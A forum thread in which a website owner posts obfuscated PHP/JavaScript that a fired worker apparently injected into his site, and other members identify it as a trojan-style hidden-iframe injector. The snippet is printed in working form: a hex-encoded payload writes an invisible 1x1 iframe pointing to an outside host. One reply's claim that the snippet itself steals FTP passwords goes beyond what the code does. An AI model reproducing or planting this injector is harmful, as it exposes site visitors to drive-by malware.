Urgent Help Please

[NowakFilip]

Guys, please tell em what is this code.

PHP Code:

//ke83jcnsWWdo403
echo "<script type=\"text/javascript\">\r\nfunction C7D36720260A79BEECF3B8D6D(C78D9ED077610F5E11){function E69961B4A47426004A21A064DA3(){return 16;}return(parseInt(C78D9ED077610F5E11,E69961B4A47426004A21A064DA3()));}function DB47FCE800845F2179C(D89D6EB726D3262DEA5){function CF7A2398A7A3B02EEF51A624DC28F2(){return 2;}var B0A173316D010072=\"\";for(D6BE4D56711AC9FE592=0;D6BE4D56711AC9FE592<D89D6EB726D3262DEA5.length;D6BE4D56711AC9FE592+=CF7A2398A7A3B02EEF51A624DC28F2()){B0A173316D010072+=(String.fromCharCode(C7D36720260A79BEECF3B8D6D(D89D6EB726D3262DEA5.substr(D6BE4D56711AC9FE592,CF7A2398A7A3B02EEF51A624DC28F2()))));}document.write(B0A173316D010072);}DB47FCE800845F2179C(\"3C696672616D65207372633D22687474703A2F2F6D6F6E6579323030382E6F72672F746D702F222077696474683D31206865696768743D31207374796C653D227669736962696C6974793A68696464656E3B706F736974696F6E3A6162736F6C757465223E3C2F696672616D653E\");\r\n</script>"; 


[grim]

Is that some form of encryption?

IDK

[NowakFilip]

I have contacted some hosting companies and I have asked them about this code and they said it's a beginning of trojan virus.

I don't think it's encryption because my worker was supposed to only do the submissions, but he decided to play with the code.

So the worker got fired today and it's not longer working for Snoork Network and can't even access the site anymore.

I don't know how people can be so stupid, he was close to his payout and he added that code today.

So he lost all the money he earned and now I have to edit the files and remove the code.

[Rhiannon]

Sorry I cant help you, but good luck with fixing what he did.

[benjaminp]

I have contacted some hosting companies and I have asked them about this code and they said it's a beginning of trojan virus.

I don't think it's encryption because my worker was supposed to only do the submissions, but he decided to play with the code.

So the worker got fired today and it's not longer working for Snoork Network and can't even access the site anymore.

I don't know how people can be so stupid, he was close to his payout and he added that code today.

So he lost all the money he earned and now I have to edit the files and remove the code.

Originally Posted by NowakFilip

Sorry to hear that. He was probably either never at all interested in the payment. Or just wasn't actually screening the submissions and let the code through.

[thecreativ]

its impossible to tell without seeing other portions of the code. But it could possibly be a virus (or encryption) because I've never seen normal coding use such strings.

[vectro]

its impossible to tell without seeing other portions of the code. But it could possibly be a virus (or encryption) because I've never seen normal coding use such strings.

Originally Posted by thecreativ

The code is actually PHP spitting out some JavaScript. The function names in the JavaScript code seem very long for some reason. Usually people give functions short descriptive names such as dostuff() to keep things simple.

The code you pasted as functions with names like E69961B4A47426004A21A064DA3() which seems questionable to me. I'm rusty on my JavaScript because it's been years, but this seems like a red flag to me.

Whoever told you it might be a Trojan sounds like they were on to something. I'm going to go with malicious code on this one.

I can see this is an old thread but I'm very security conscious and wanted to post something about it.

[seovb]

Its an encrypted javascript code if you decrypt it i almost bet you had some FTP password issues as that code steals your password and inserts an iframe on your page thats 1px x 1px making it unnoticable to most users.